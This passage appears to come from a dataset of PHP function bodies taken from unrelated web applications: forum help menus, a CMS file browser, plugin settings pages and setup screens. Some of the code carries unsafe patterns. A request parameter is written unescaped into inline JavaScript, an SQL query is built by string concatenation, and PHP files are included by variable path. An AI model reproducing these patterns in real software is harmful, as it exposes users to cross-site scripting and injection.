$txt['manual_section_board_index'],\r\n\t\t\t\t\t'template' => 'manual_board_index',\r\n\t\t\t\t),\r\n\t\t\t\t'message_view' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_message_view'],\r\n\t\t\t\t\t'template' => 'manual_message_view',\r\n\t\t\t\t),\r\n\t\t\t\t'topic_view' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_topic_view'],\r\n\t\t\t\t\t'template' => 'manual_topic_view',\r\n\t\t\t\t),\r\n\t\t\t),\r\n\t\t),\r\n\t\t'registering' => array(\r\n\t\t\t'title' => $txt['manual_category_registering'],\r\n\t\t\t'description' => '',\r\n\t\t\t'areas' => array(\r\n\t\t\t\t'when_how' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_when_how_register'],\r\n\t\t\t\t\t'template' => 'manual_when_how_register',\r\n\t\t\t\t),\r\n\t\t\t\t'registration_screen' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_registration_screen'],\r\n\t\t\t\t\t'template' => 'manual_registration_screen',\r\n\t\t\t\t),\r\n\t\t\t\t'activating_account' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_activating_account'],\r\n\t\t\t\t\t'template' => 'manual_activating_account',\r\n\t\t\t\t),\r\n\t\t\t\t'logging_in' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_logging_in_out'],\r\n\t\t\t\t\t'template' => 'manual_logging_in_out',\r\n\t\t\t\t),\r\n\t\t\t\t'password_reminders' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_password_reminders'],\r\n\t\t\t\t\t'template' => 'manual_password_reminders',\r\n\t\t\t\t),\r\n\t\t\t),\r\n\t\t),\r\n\t\t'profile_features' => array(\r\n\t\t\t'title' => $txt['manual_category_profile_features'],\r\n\t\t\t'description' => '',\r\n\t\t\t'areas' => array(\r\n\t\t\t\t'profile_info' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_profile_info'],\r\n\t\t\t\t\t'template' => 'manual_profile_info_summary',\r\n\t\t\t\t\t'description' => $txt['manual_entry_profile_info_desc'],\r\n\t\t\t\t\t'subsections' => array(\r\n\t\t\t\t\t\t'summary' => array($txt['manual_entry_profile_info_summary'], 'template' => 'manual_profile_info_summary'),\r\n\t\t\t\t\t\t'posts' => array($txt['manual_entry_profile_info_posts'], 'template' => 'manual_profile_info_posts'),\r\n\t\t\t\t\t\t'stats' => array($txt['manual_entry_profile_info_stats'], 'template' => 'manual_profile_info_stats'),\r\n\t\t\t\t\t),\r\n\t\t\t\t),\r\n\t\t\t\t'modify_profile' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_modify_profile'],\r\n\t\t\t\t\t'template' => 'manual_modify_profile_settings',\r\n\t\t\t\t\t'description' => $txt['manual_entry_modify_profile_desc'],\r\n\t\t\t\t\t'subsections' => array(\r\n\t\t\t\t\t\t'settings' => array($txt['manual_entry_modify_profile_settings'], 'template' => 'manual_modify_profile_settings'),\r\n\t\t\t\t\t\t'forum' => array($txt['manual_entry_modify_profile_forum'], 'template' => 'manual_modify_profile_forum'),\r\n\t\t\t\t\t\t'look' => array($txt['manual_entry_modify_profile_look'], 'template' => 'manual_modify_profile_look'),\r\n\t\t\t\t\t\t'auth' => array($txt['manual_entry_modify_profile_auth'], 'template' => 'manual_modify_profile_auth'),\r\n\t\t\t\t\t\t'notify' => array($txt['manual_entry_modify_profile_notify'], 'template' => 'manual_modify_profile_notify'),\r\n\t\t\t\t\t\t'pm' => array($txt['manual_entry_modify_profile_pm'], 'template' => 'manual_modify_profile_pm'),\r\n\t\t\t\t\t\t'buddies' => array($txt['manual_entry_modify_profile_buddies'], 'template' => 'manual_modify_profile_buddies'),\r\n\t\t\t\t\t\t'groups' => array($txt['manual_entry_modify_profile_groups'], 'template' => 'manual_modify_profile_groups'),\r\n\t\t\t\t\t),\r\n\t\t\t\t),\r\n\t\t\t\t'actions' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_profile_actions'],\r\n\t\t\t\t\t'template' => 'manual_profile_actions_subscriptions',\r\n\t\t\t\t\t'description' => $txt['manual_entry_modify_profile_desc'],\r\n\t\t\t\t\t'subsections' => array(\r\n\t\t\t\t\t\t'subscriptions' => array($txt['manual_entry_profile_actions_subscriptions'], 'template' => 'manual_profile_actions_subscriptions'),\r\n\t\t\t\t\t\t'delete' => array($txt['manual_entry_profile_actions_delete'], 'template' => 'manual_profile_actions_delete'),\r\n\t\t\t\t\t),\r\n\t\t\t\t),\r\n\t\t\t),\r\n\t\t),\r\n\t\t'posting_basics' => array(\r\n\t\t\t'title' => $txt['manual_category_posting_basics'],\r\n\t\t\t'description' => '',\r\n\t\t\t'areas' => array(\r\n\t\t\t\t/*'posting_screen' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_posting_screen'],\r\n\t\t\t\t\t'template' => 'manual_posting_screen',\r\n\t\t\t\t),*/\r\n\t\t\t\t'posting_topics' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_posting_topics'],\r\n\t\t\t\t\t'template' => 'manual_posting_topics',\r\n\t\t\t\t),\r\n\t\t\t\t/*'quoting_posts' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_quoting_posts'],\r\n\t\t\t\t\t'template' => 'manual_quoting_posts',\r\n\t\t\t\t),\r\n\t\t\t\t'modifying_posts' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_modifying_posts'],\r\n\t\t\t\t\t'template' => 'manual_modifying_posts',\r\n\t\t\t\t),*/\r\n\t\t\t\t'smileys' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_smileys'],\r\n\t\t\t\t\t'template' => 'manual_smileys',\r\n\t\t\t\t),\r\n\t\t\t\t'bbcode' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_bbcode'],\r\n\t\t\t\t\t'template' => 'manual_bbcode',\r\n\t\t\t\t),\r\n\t\t\t\t/*'wysiwyg' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_wysiwyg'],\r\n\t\t\t\t\t'template' => 'manual_wysiwyg',\r\n\t\t\t\t),*/\r\n\t\t\t),\r\n\t\t),\r\n\t\t'personal_messages' => array(\r\n\t\t\t'title' => $txt['manual_category_personal_messages'],\r\n\t\t\t'description' => '',\r\n\t\t\t'areas' => array(\r\n\t\t\t\t'messages' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_pm_messages'],\r\n\t\t\t\t\t'template' => 'manual_pm_messages',\r\n\t\t\t\t),\r\n\t\t\t\t/*'actions' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_pm_actions'],\r\n\t\t\t\t\t'template' => 'manual_pm_actions',\r\n\t\t\t\t),\r\n\t\t\t\t'preferences' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_pm_preferences'],\r\n\t\t\t\t\t'template' => 'manual_pm_preferences',\r\n\t\t\t\t),*/\r\n\t\t\t),\r\n\t\t),\r\n\t\t'forum_tools' => array(\r\n\t\t\t'title' => $txt['manual_category_forum_tools'],\r\n\t\t\t'description' => '',\r\n\t\t\t'areas' => array(\r\n\t\t\t\t'searching' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_searching'],\r\n\t\t\t\t\t'template' => 'manual_searching',\r\n\t\t\t\t),\r\n\t\t\t\t/*'memberlist' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_memberlist'],\r\n\t\t\t\t\t'template' => 'manual_memberlist',\r\n\t\t\t\t),\r\n\t\t\t\t'calendar' => array(\r\n\t\t\t\t\t'label' => $txt['manual_section_calendar'],\r\n\t\t\t\t\t'template' => 'manual_calendar',\r\n\t\t\t\t),*/\r\n\t\t\t),\r\n\t\t),\r\n\t);\r\n\r\n\t// Set a few options for the menu.\r\n\t$menu_options = array(\r\n\t\t'disable_url_session_check' => true,\r\n\t);\r\n\r\n\trequire_once($sourcedir . '/Subs-Menu.php');\r\n\t$manual_area_data = createMenu($manual_areas, $menu_options);\r\n\tunset($manual_areas);\r\n\r\n\t// Make a note of the Unique ID for this menu.\r\n\t$context['manual_menu_id'] = $context['max_menu_id'];\r\n\t$context['manual_menu_name'] = 'menu_data_' . $context['manual_menu_id'];\r\n\r\n\t// Get the selected item.\r\n\t$context['manual_area_data'] = $manual_area_data;\r\n\t$context['menu_item_selected'] = $manual_area_data['current_area'];\r\n\r\n\t// Set a title and description for the tab strip if subsections are present.\r\n\tif (isset($context['manual_area_data']['subsections']))\r\n\t\t$context[$context['manual_menu_name']]['tab_data'] = array(\r\n\t\t\t'title' => $manual_area_data['label'],\r\n\t\t\t'description' => isset($manual_area_data['description']) ? $manual_area_data['description'] : '',\r\n\t\t);\r\n\r\n\t// Bring it on!\r\n\t$context['sub_template'] = isset($manual_area_data['current_subsection'], $manual_area_data['subsections'][$manual_area_data['current_subsection']]['template']) ? $manual_area_data['subsections'][$manual_area_data['current_subsection']]['template'] : $manual_area_data['template'];\r\n\t$context['page_title'] = $manual_area_data['label'] . ' - ' . $txt['manual_smf_user_help'];\r\n\r\n\t// Build the link tree.\r\n\t$context['linktree'][] = array(\r\n\t\t'url' => $scripturl . '?action=help',\r\n\t\t'name' => $txt['help'],\r\n\t);\r\n\tif (isset($manual_area_data['current_area']) && $manual_area_data['current_area'] != 'index')\r\n\t\t$context['linktree'][] = array(\r\n\t\t\t'url' => $scripturl . '?action=admin;area=' . $manual_area_data['current_area'],\r\n\t\t\t'name' => $manual_area_data['label'],\r\n\t\t);\r\n\tif (!empty($manual_area_data['current_subsection']) && $manual_area_data['subsections'][$manual_area_data['current_subsection']][0] != $manual_area_data['label'])\r\n\t\t$context['linktree'][] = array(\r\n\t\t\t'url' => $scripturl . '?action=admin;area=' . $manual_area_data['current_area'] . ';sa=' . $manual_area_data['current_subsection'],\r\n\t\t\t'name' => $manual_area_data['subsections'][$manual_area_data['current_subsection']][0],\r\n\t\t);\r\n\r\n\t// We actually need a special style sheet for help ;)\r\n\t$context['template_layers'][] = 'manual';\r\n\r\n\t// The smiley info page needs some cheesy information.\r\n\tif ($manual_area_data['current_area'] == 'smileys')\r\n\t\tShowSmileyHelp();\r\n}", "protected function page () {\n\t\t$skeleton = new xhtml ('skeleton.trynow');\n\t\t$skeleton->load();\n\t\t$config_data = config::translate('need_flash');\n\t\tif(isset($_SESSION['trynow'])) {\n\t\t\t$_SESSION['trynow'] = 1;\n\t\t} else {\n\t\t\t$_SESSION['trynow'] = 1;\n\t\t}\n\n\t\t$locale = config::get('locale');\n\t\t$support_language_uid = 14;\n\n\t\t$arrEnLocales = array(\n\t\t\t\t'bz',\n\t\t\t\t'jm',\n\t\t\t\t'tt',\n\t\t\t\t'gy',\n\t\t\t\t'ag',\n\t\t\t\t'dm',\n\t\t\t\t'vc',\n\t\t\t\t'bs',\n\t\t\t\t'bd',\n\t\t\t\t'bw',\n\t\t\t\t'fj',\n\t\t\t\t'gm',\n\t\t\t\t'gh',\n\t\t\t\t'gy',\n\t\t\t\t'ke',\n\t\t\t\t'mt',\n\t\t\t\t'mu',\n\t\t\t\t'na',\n\t\t\t\t'ng',\n\t\t\t\t'pk',\n\t\t\t\t'rw',\n\t\t\t\t'ws',\n\t\t\t\t'sl',\n\t\t\t\t'sg',\n\t\t\t\t'sb',\n\t\t\t\t'za',\n\t\t\t\t'tz',\n\t\t\t\t'to',\n\t\t\t\t'ug',\n\t\t\t\t'vu',\n\t\t\t\t'zm',\n\t\t\t\t'zw'\n\t\t\t);\n\n\t\t\t$arrFrLocales = array(\n\t\t\t\t'cd',\n\t\t\t\t'mg',\n\t\t\t\t'cm',\n\t\t\t\t'ci',\n\t\t\t\t'bf',\n\t\t\t\t'ne',\n\t\t\t\t'sn',\n\t\t\t\t'ml',\n\t\t\t\t'bi',\n\t\t\t\t'bj',\n\t\t\t\t'tg',\n\t\t\t\t'ga',\n\t\t\t\t'dj'\n\t\t\t);\n\n\t\t\t$arrSpLocales = array(\n\t\t\t\t'es',\n\t\t\t\t'co',\n\t\t\t\t'gt',\n\t\t\t\t'pe',\n\t\t\t\t'ni',\n\t\t\t\t'do',\n\t\t\t\t'bo',\n\t\t\t\t've',\n\t\t\t\t'ar',\n\t\t\t\t'cu',\n\t\t\t\t'pr',\n\t\t\t\t'py',\n\t\t\t\t'ec',\n\t\t\t\t'hn',\n\t\t\t\t'sv',\n\t\t\t\t'cr',\n\t\t\t\t'pa'\n\t\t\t);\n\t\t\tif(in_array($locale,$arrEnLocales)) {\n\t\t\t\t$locale = 'en';\n\t\t\t} else if(in_array($locale,$arrFrLocales)) {\n\t\t\t\t$locale = 'fr';\n\t\t\t} else if(in_array($locale,$arrSpLocales)) {\n\t\t\t\t$locale = 'sp';\n\t\t\t}\n\n\t\t$query =\"SELECT \";\n\t\t$query.=\"`uid` \";\n\t\t$query.=\"from \";\n\t\t$query.=\"`language` \";\n\t\t$query.=\"WHERE \";\n\t\t$query.=\"`prefix` = '\".$locale.\"' \";\n\t\t$query.=\"LIMIT 1\";\n\n\t\t$result = database::query($query);\n\n\t\tif( $result && mysql_num_rows($result)> 0 ) {\n\t\t\t$row = mysql_fetch_array($result);\n\t\t\t$support_language_uid = $row['uid'];\n\t\t}\n\t\t$swf = 'swf';\n\t\tif(in_array($support_language_uid,array(106,107))) {\n\t\t\t$swf = 'swf10';\n\t\t}\n\t\t$skeleton->assign(\n\t\t\tarray(\n\t\t\t\t'translate:need_flash'\t=> $config_data,\n\t\t\t\t'support_language_uid'\t=> $support_language_uid,\n\t\t\t\t'swf'\t\t\t\t\t=> $swf\n\t\t\t)\n\t\t);\n\n\t\t/**\n\t\t * Fetch the page details\n\t\t */\n\t\t$page = new page('index');\n\n\t\t/**\n\t\t * Build the output\n\t\t */\n\t\t$skeleton->assign (\n\t\t\tarray (\n\t\t\t\t'title'\t\t\t=> $page->title(),\n\t\t\t\t'keywords'\t\t=> $page->keywords(),\n\t\t\t\t'description'\t=> $page->description()\n\t\t\t)\n\t\t);\n\n\t\toutput::as_html($skeleton,true);\n\t}", "function genHTML(){\n $this->loadStructure();\n $this->fileExtCSS();\n global $CONFIG, $Controller;\n\n Head::add($CONFIG->UI->jQuery_theme.'/jquery-ui-*', 'css-lib');\n $r = '<div class=\"ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all\">'\n .'<span class=\"fixed-width\">'.$this->pcrumbs().'</span>'\n .Box::tools($this)\n .'</div>';\n\n $r .= '<ul class=\"filetree\">';\n $i=0;\n foreach($this->folders as $cur) {\n if(!$cur->mayI(READ)) continue;\n $r .= '<li class=\"'.($i%2?'odd':'even').' directory\">'\n .'<span class=\"fixed-width\"><a href=\"'.url(array('id' => $cur->ID), array('popup', 'filter')).'\" title=\"'.__('Open folder').'\">'.$cur.'</a></span>'\n .Box::tools($cur)\n .icon('large/down-16', __('Download'), url(array('id' => $cur->ID, 'action' => 'download')))\n .'</li>';\n $i++;\n }\n $r .= '</ul>';\n global $SITE;\n \tif($_REQUEST['popup']== \"ckeditor\") {\n\t\t//http://docs.cksource.com/CKEditor_3.x/Developers_Guide/File_Browser_(Uploader)/Custom_File_Browser\n\n\t\tHead::add(\"function getUrlParam(paramName)\n\t\t{\n\t\t var reParam = new RegExp('(?:[\\?&]|&amp;)' + paramName + '=([^&]+)', 'i') ;\n\t\t var match = window.location.search.match(reParam) ;\n\n\t\t return (match && match.length > 1) ? match[1] : '' ;\n\t\t}\n\t\tvar funcNum = getUrlParam('CKEditorFuncNum');\n\t\tvar fileUrl = 'https://www.ysektionen.se/';\n\t\t\", 'js-raw');\n\t\tHead::add(\"function select(id) {try{window.opener.CKEDITOR.tools.callFunction(funcNum, 'https://www.ysektionen.se/'+id);} catch(err) {}window.close();}\", 'js-raw');\n\t}else if($_REQUEST['popup']) {\n Head::add(\"function select(id) {try{window.opener.fileCallback(id,'{$_REQUEST['popup']}');} catch(err) {}window.close();}\", 'js-raw');\n }\n foreach($this->files as $cur) {\n if(!$cur->mayI(READ)) continue;\n if($_REQUEST['filter']) {\n switch($_REQUEST['filter']) {\n case 'images':\n case 'documents':\n if(!in_array(strtolower($cur->extension), $CONFIG->extensions->{$_REQUEST['filter']})) continue 2;\n break;\n default:\n if(!stristr($cur->basename, $_REQUEST['filter'])) continue 2;\n }\n }\n $r .= '<li class=\"'.($i%2?'odd':'even').' file ext_'.$cur->extension.'\"><span class=\"fixed-width\"';\n if($_REQUEST['popup']) $r .= '></span><a href=\"javascript: select('.$cur->ID.');\"';\n if($cur->isImage())\n {\n if(!$_REQUEST['popup']) $r .= '><span';\n JS::lib('jquery/imgPreview');\n Head::add('#imgpreview{'\n .'position:absolute;'\n .'border:1px solid #ccc;'\n .'background:#333;'\n .'padding:5px;'\n .'display:none;'\n .'color:#fff;}', 'css-raw');\n $r .= ' class=\"imagepreview\" rel=\"/'.$cur->ID.'?mw=100\">'.$cur->basename;\n if(!$_REQUEST['popup']) $r .= '</span>';\n }\n else $r .= '>'.$cur->basename;\n if($_REQUEST['popup']) $r .= '</a>';\n $r .='</span><div class=\"tools\">'\n .Box::tools($cur)\n .'</div></li>';\n $i++;\n }\n return $r.'</ul>';\n }", "function build_page($main_view,$sub_menu,$subheader)\r\n{\r\n \r\n include('page.parts/header.php');\r\n include('page.parts/page_content_top.php');\r\n include(\"tables/$main_view.php\");\r\n include('page.parts/page_content_mid.php');\r\n include(\"mnu/$sub_menu.php\");\r\n include('page.parts/page_content_mid2.php');\r\n include('page.parts/footer.php');\r\n \r\n}", "public function index() {\n\t\t\n\t\t// Delete if something is there\n\t\t// if ( ! empty($_POST))\n\t\t// {\n\t\t// \t$this->delete();\n\t\t// }\n\n\t\t// Get base info\n\t\t$base_url = ee('CP/URL')->make('addons/settings/json_ld');\n\t\t$site_id = ee()->config->item('site_id');\n\n\t\t// Start the table\n\t\t$table = ee('CP/Table', array('autosort' => TRUE, 'autosearch' => FALSE, 'limit' => 20));\n\t\t$table->setColumns(\n\t\t\tarray(\n\t\t\t\t'Template Name',\n\t\t\t\t'manage' => array(\n\t\t\t\t\t'type'\t=> Table::COL_TOOLBAR\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type'\t=> Table::COL_CHECKBOX\n\t\t\t\t)\n\t\t\t)\n\t\t);\n\t\t$table->setNoResultsText(sprintf(lang('json_ld_no_found'), lang('json_ld_module_name')));\n\n\t\t$data = array();\n\n\t\t// Get the assigned channels\n\t\t$entries = ee()->jsonld->templates();\n\n\t\t// If there is an assigned channel\n\t\tif(!empty($entries)) {\n\n\t\t\t// For each entry, build a row\n\t\t\tforeach($entries as $entry) {\n\t\t\t\t$checkbox = array(\n\t\t\t\t\t'name' => 'selection[]',\n\t\t\t\t\t'value' => $entry['id'],\n\t\t\t\t\t'data'\t=> array(\n\t\t\t\t\t\t'confirm' => 'Template: <b>' . htmlentities($entry['template_name'], ENT_QUOTES, 'UTF-8') . '</b>'\n\t\t\t\t\t)\n\t\t\t\t);\n\n\t\t\t\t$edit_url = ee('CP/URL')->make('addons/settings/json_ld/edit_template&id=' . $entry['id']);\n\n\t\t\t\t$data[] = array(\n\t\t\t\t\t'channel' => array(\n\t\t\t\t\t\t'content' => $entry['template_name']\n\t\t\t\t\t),\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'toolbar_items' => array(\n\t\t\t\t\t\t\t'edit' => array(\n\t\t\t\t\t\t\t\t'href' => $edit_url,\n\t\t\t\t\t\t\t\t'title' => lang('edit')\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t)\n\t\t\t\t\t),\n\t\t\t\t\t$checkbox\n\t\t\t\t);\n\t\t\t}\n\n\t\t}\n\n\t\t$table->setData($data);\n\t\t$vars['table'] = $table->viewData($base_url);\n\n\t\t$vars['base_url'] = $vars['table']['base_url'];\n\n\t\t// Set up pagination if greater than 20 channels\n\t\t$vars['pagination'] = ee('CP/Pagination', $vars['table']['total_rows'])\n\t\t\t->perPage($vars['table']['limit'])\n\t\t\t->currentPage($vars['table']['page'])\n\t\t\t->render($base_url);\n\n\t\tee()->javascript->set_global('lang.remove_confirm', lang('page') . ': <b>### ' . lang('pages') . '</b>');\n\t\tee()->cp->add_js_script(array(\n\t\t\t'file' => array('cp/confirm_remove'),\n\t\t));\n\n\t\t// Return views\n\t\treturn array(\n\t\t\t'heading' => lang('json_ld_manager'),\n\t\t\t'body' => ee('View')->make('json_ld:index')->render($vars)\n\t\t);\n\n\t\treturn ee('View')->make('json_ld:index')->render($vars);\n\n\t}", "private static function hypertext()\n {\n $files = ['Res', 'Html'];\n $folder = static::$root.'Hypertext'.'/';\n\n self::call($files, $folder);\n }", "protected function createMenuEntriesForTbeModulesExt() {}", "protected function createMenuEntriesForTbeModulesExt() {}", "function displayLanguages()\n\t{\n\t\t$this->checkDisplayMode(\"setup_languages\");\n\n\t\tif (!$this->setup->getClient()->db_installed)\n\t\t{\n\t\t\t// program should never come to this place\n\t\t\t$message = \"No database found! Please install database first.\";\n\t\t\tilUtil::sendFailure($message);\n\t\t}\n\n\t\tinclude_once(\"./setup/classes/class.ilSetupLanguageTableGUI.php\");\n\t\t$tab = new ilSetupLanguageTableGUI($this->setup->getClient());\n\t\t$this->tpl->setVariable(\"SETUP_CONTENT\", $tab->getHTML());\n\n\t\t$this->tpl->setVariable(\"TXT_SETUP_TITLE\",ucfirst(trim($this->lng->txt(\"setup_languages\"))));\n\t\t$this->tpl->setVariable(\"TXT_INFO\", $this->lng->txt(\"info_text_lang\"));\n\n\t\t$installed_langs = $this->lng->getInstalledLanguages();\n\t\t$lang_count = count($installed_langs);\n\t\tif ($lang_count > 0)\n\t\t{\n\t\t\t$this->setup->getClient()->status[\"lang\"][\"status\"] = true;\n\t\t\t$this->setup->getClient()->status[\"lang\"][\"comment\"] = $lang_count.\" \".$this->lng->txt(\"languages_installed\");\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->setup->getClient()->status[\"lang\"][\"status\"] = false;\n\t\t\t$this->setup->getClient()->status[\"lang\"][\"comment\"] = $this->lng->txt(\"lang_none_installed\");\n\t\t}\n\n\t\t$this->setButtonPrev(\"lang\");\n\n\t\tif ($lang_count > 0)\n\t\t{\n\t\t\t$this->setButtonNext(\"contact\");\n\t\t}\n\n\t\t$this->checkPanelMode();\n\t}", "function drh_admin_page() {\n\t$languages = array(\n\t'ARABIC' => 'ar',\n\t'BASQUE' => 'eu',\n\t'BULGARIAN' => 'bg',\n\t'BENGALI' => 'bn',\n\t'CATALAN' => 'ca',\n\t'CZECH' => 'cs',\n\t'DANISH' => 'da',\n\t'GERMAN' => 'de',\n\t'GREEK' => 'el',\n\t'ENGLISH' => 'en',\n\t'ENGLISH (AUSTRALIAN)' => 'en-AU',\n\t'ENGLISH (GREAT BRITAIN)' => 'en-GB',\n\t'SPANISH' => 'es',\n\t'BASQUE' => 'eu',\n\t'FARSI' => 'fa',\n\t'FINNISH' => 'fi',\n\t'FILIPINO' => 'fil',\n\t'FRENCH' => 'fr',\n\t'GALICIAN' => 'gl',\n\t'GUJARATI' => 'gu',\n\t'HINDI' => 'hi',\n\t'CROATIAN' => 'hr',\n\t'HUNGARIAN' => 'hu',\n\t'INDONESIAN' => 'id',\n\t'ITALIAN' => 'it',\n\t'HEBREW' => 'iw',\n\t'JAPANESE' => 'ja',\n\t'KANNADA' => 'kn',\n\t'KOREAN' => 'ko',\n\t'LITHUANIAN' => 'lt',\n\t'LATVIAN' => 'lv',\n\t'MALAYALAM' => 'ml',\n\t'MARATHI' => 'mr',\n\t'DUTCH' => 'nl',\n\t'NORWEGIAN' => 'no',\n\t'POLISH' => 'pl',\n\t'PORTUGUESE' => 'pt',\n\t'PORTUGUESE (BRAZIL)' => 'pt-BR',\n\t'PORTUGUESE (PORTUGAL)' => 'pt-PT',\n\t'ROMANIAN' => 'ro',\n\t'RUSSIAN' => 'ru',\n\t'SLOVAK' => 'sk',\n\t'SLOVENIAN' => 'sl',\n\t'SERBIAN' => 'sr',\n\t'SWEDISH' => 'sv',\n\t'TAGALOG' => 'tl',\n\t'TAMIL' => 'ta',\n\t'TELUGU' => 'te',\n\t'THAI' => 'th',\n\t'TURKISH' => 'tr',\n\t'UKRAINIAN' => 'uk',\n\t'VIETNAMESE' => 'vi',\n\t'CHINESE (SIMPLIFIED)' => 'zh-CN',\n\t'CHINESE (TRADITIONAL)' => 'zh-TW'\n\t);\n\t$currencies = array(\n\t'USD - US Dollar' => 'USD', \n\t'GBP - British Pound' => 'GBP', \n\t'EUR - Euro' => 'EUR', \n\t'INR - Indian Rupee' => 'INR', \n\t'AUD - Australian Dollar' => 'AUD', \n\t'CAD - Canadian Dollar' => 'CAD', \n\t'AED - Emirati Dirham' => 'AED', \n\t'MYR - Malaysian Ringgit' => 'MYR',\n\t'CHF - Swiss Franc' => 'CHF',\n\t'CNY - Chinese Yuan Renminbi' => 'CNY',\n\t'THB - Thai Baht' => 'THB'\n\t);\n\t$units = array(\n 'Metric (Kilometers & Meters)' => 'metric',\n 'Imperial (Miles & Feet)' => 'imperial',\n\t);\t\n\t$maps = array(\n 'No' => 'no',\n 'Yes' => 'yes',\n\t);\t\n ?>\n <div class=\"wrap\">\n <h2><img src=\"<?php echo plugins_url('taxi-ordering-online/images/taxi-icon-small.png');?>\"/>Order A Taxi</h2> \n <form method=\"post\" action=\"options.php\"> \n <?php settings_fields('mkgd-settings-group'); ?>\n <?php do_settings_fields( 'drh_adminpage', 'mkgd-settings-group'); ?>\n <table class=\"widefat\">\n <thead>\n <tr>\n <th>Settings</th>\n </tr>\n </thead>\n <tbody>\n <tr>\n <td>\n <table>\n <tr>\n <td><label for=\"rate\">Rate: </label></td>\n <td><input type=\"text\" value=\"<?php echo get_option('drh_rate', '2'); ?>\" size=\"3\" name=\"drh_rate\"></td>\n <td><small>Default Rate is $2.</small></td>\n </tr>\n <tr>\n <td><label for=\"currency\">Currency: </label></td>\n <td>\n <select name=\"drh_currency\">\n <option value=\"\">-- Select --</option>\n <?php foreach($currencies as $currency => $code){ ?>\n \n <option <?php echo get_option('drh_currency') === $code ? 'selected=\"selected\"': ''; ?> value=\"<?php echo $code; ?>\"><?php echo $currency; ?></option>\n <?php } ?>\n </select>\n </td>\n <td><small>Default Currency is the US Dollar</small></td>\n </tr>\t\t\t\t\n <tr>\n <td><label for=\"latitude\">Latitude: </label></td>\n <td><input type=\"text\" value=\"<?php echo get_option('mkgd_latitude', '43.6525'); ?>\" size=\"33\" name=\"mkgd_latitude\"></td>\n <td><small>Default latitudes for the Google Map <a href=\"http://itouchmap.com/latlong.html\" title=\"Help\" target=\"_blank\" rel=\"nofollow\"><strong>Help?</strong></a></small></td>\n </tr>\n <tr>\n <td><label for=\"longitude\">Longitude: </label></td>\n <td><input type=\"text\" value=\"<?php echo get_option('mkgd_longitude', '-79.3816667'); ?>\" size=\"33\" name=\"mkgd_longitude\"></td>\n <td><small>Default longitudes for the Google Map <a href=\"http://itouchmap.com/latlong.html\" title=\"Help\" target=\"_blank\" rel=\"nofollow\"><strong>Help?</strong></a></small></td>\n </tr>\n <tr>\n <td><label for=\"language\">Unit System: </label></td>\n <td>\n <select name=\"mkgd_units\">\n <option value=\"\">-- Select --</option>\n <?php foreach ($units as $key => $value) { ?>\n <option <?php echo get_option('mkgd_units') === $value ? 'selected=\"selected\"' : ''; ?> value=\"<?php echo $value; ?>\"><?php echo $key; ?></option>\n <?php } ?>\n </select>\n </td>\n <td><small>Default unit system for the Google Map</small></td>\n </tr>\t\t\t\t\n <tr>\n <td><label for=\"language\">Language: </label></td>\n <td>\n <select name=\"mkgd_language\">\n <option value=\"\">-- Select --</option>\n <?php foreach($languages as $language => $code){ ?>\n \n <option <?php echo get_option('mkgd_language') === $code ? 'selected=\"selected\"': ''; ?> value=\"<?php echo $code; ?>\"><?php echo $language; ?></option>\n <?php } ?>\n </select>\n </td>\n <td><small>Default language for the Google Map</small></td>\n </tr>\n <tr>\n <td><label for=\"map-width\">Map Width: </label></td>\n <td><input type=\"text\" value=\"<?php echo get_option('mkgd_width', '300'); ?>\" size=\"33\" name=\"mkgd_width\"></td>\n <td><small>Default width for the Google Map</small></td>\n </tr>\t\t\t\t\n <tr>\n <td><label for=\"map-width\">Map Height: </label></td>\n <td><input type=\"text\" value=\"<?php echo get_option('mkgd_height', '300'); ?>\" size=\"33\" name=\"mkgd_height\"></td>\n <td><small>Default height for the Google Map</small></td>\n </tr>\n <tr>\n <td><label for=\"display_map\">Display Map: </label></td>\n <td>\n <select name=\"display_map\">\n <option value=\"\">-- Select --</option>\n <?php foreach($maps as $key => $code){ ?>\n <option <?php echo get_option('display_map') === $code ? 'selected=\"selected\"': ''; ?> value=\"<?php echo $code; ?>\"><?php echo $key; ?></option>\n <?php } ?>\n </select>\n </td>\n </tr>\t\t\t\t\t\n </table>\n </td>\n </tr>\n </tbody>\n <tfoot>\n <tr>\n <th>Order a Taxi Settings</th>\n </tr>\n </tfoot>\n </table>\n\n <?php submit_button(); ?>\n\n </form>\n <table class=\"widefat\">\n <tbody>\n <tr>\n <td>\n <h2>If you like and use this script, please consider buying me a beer -- a cheap and a simple way to give back! Thanks!</h2>\n <a href=\"https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=RVZAWU7BDLRJ2\" title=\"Donate\" target=\"_blank\"><img src=\"https://www.paypalobjects.com/en_GB/i/btn/btn_donateCC_LG.gif\" alt=\"Donate\" title=\"Donate\" /></a>\t\t\t\n\t\t\t</td>\n </tr>\n </tbody>\n </table>\n </div><!-- .wrap -->\n <?php\n}", "function expedition_admin_prepare_head()\r\n{\r\n\tglobal $langs, $conf, $user;\r\n\t$langs->load(\"sendings\");\r\n\r\n\t$h = 0;\r\n\t$head = array();\r\n\t\r\n\t$head[$h][0] = DOL_URL_ROOT.\"/admin/confexped.php\";\r\n\t$head[$h][1] = 